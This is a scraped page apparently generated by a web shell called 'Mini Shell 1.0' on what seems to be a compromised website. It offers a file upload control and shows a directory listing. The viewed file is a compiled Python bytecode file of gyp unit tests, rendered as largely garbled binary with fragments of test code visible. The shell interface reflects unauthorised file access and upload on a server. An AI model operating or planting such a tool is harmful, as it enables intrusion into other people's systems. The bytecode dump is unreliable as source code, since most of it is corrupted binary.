HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/gyp/__pycache__/common_test.cpython-311.pyc
�

�"Kb����dZddlZddlZddlZGd�dej��ZGd�dej��Zedkrej	��dSdS)z"Unit tests for the common.py file.�Nc��eZdZd�Zd�ZdS)�TestTopologicallySortedc���ddggdgdgd���fd�}|�tj�����|��gd���dS)zATest that sorting works on a valid graph with one possible order.�b�c�d��arrrc�.��t�|��S�N��tuple��node�graphs ��1/usr/lib/python3/dist-packages/gyp/common_test.py�GetEdgez3TestTopologicallySorted.test_Valid.<locals>.GetEdge����
�5��;�
�
��)r
rrrN)�assertEqual�gyp�common�TopologicallySorted�keys��selfrrs  @r�
test_Validz"TestTopologicallySorted.test_Valids�����3�Z�
��U��U�	
�
�E� � � � � ����	�j�$�$�U�Z�Z�\�\�7�;�;��������rc���dgdgdgdgd���fd�}|�tjjtjj����|��dS)z3Test that an exception is thrown on a cyclic graph.rrrr
r	c�.��t�|��Srr
rs �rrz3TestTopologicallySorted.test_Cycle.<locals>.GetEdge%rrN)�assertRaisesrr�
CycleErrorrrrs  @r�
test_Cyclez"TestTopologicallySorted.test_Cycles|����U��U��U��U�	
�
�E� � � � � ����	�j��S�Z�;��j�j�l�l�G�����rN)�__name__�
__module__�__qualname__rr"�rrrrs2�������������rrc�4�eZdZdZdZd�Zd�Zd�Zd�Zd�Z	dS)	�
TestGetFlavorz0Test that gyp.common.GetFlavor works as intended�c�(�tj|_dSr)�sys�platform�original_platform�rs r�setUpzTestGetFlavor.setUp0s�� �\�D���rc�(�|jt_dSr)r-r+r,r.s r�tearDownzTestGetFlavor.tearDown3s���)�C�L�L�Lrc��|t_|�|tj�|����dSr)r+r,rrr�	GetFlavor)r�expected�argument�params    r�assertFlavorzTestGetFlavor.assertFlavor6s5���C�L����X�s�z�3�3�E�:�:�;�;�;�;�;rc�v�|�ddi��|�ddi��|�ddi��|�ddi��|�ddi��|�d	d
i��|�d	di��|�d	d	i��dS)N�freebsd�freebsd9�	freebsd10�openbsd�openbsd5�solaris�sunos5�sunos�linux�linux2�linux3�r7r.s r�test_platform_defaultz#TestGetFlavor.test_platform_default:s������i��b�1�1�1����i��b�1�1�1����i��b�1�1�1����i��b�1�1�1����i��b�1�1�1����g��b�1�1�1����g��b�1�1�1����g��b�1�1�1�1�1rc�8�|�ddddi��dS)N�foobarrB�flavorrDr.s r�
test_paramzTestGetFlavor.test_paramDs%�����h��H�h�+?�@�@�@�@�@rN)
r#r$r%�__doc__r-r/r1r7rErIr&rrr(r(,sp������8�8���*�*�*�*�*�*�<�<�<�3�3�3�A�A�A�A�Arr(�__main__)
rJ�
gyp.commonr�unittestr+�TestCaserr(r#�mainr&rr�<module>rPs���)�(���������
�
�
�
������h�/����<A�A�A�A�A�H�%�A�A�A�8�z����(�-�/�/�/�/�/��r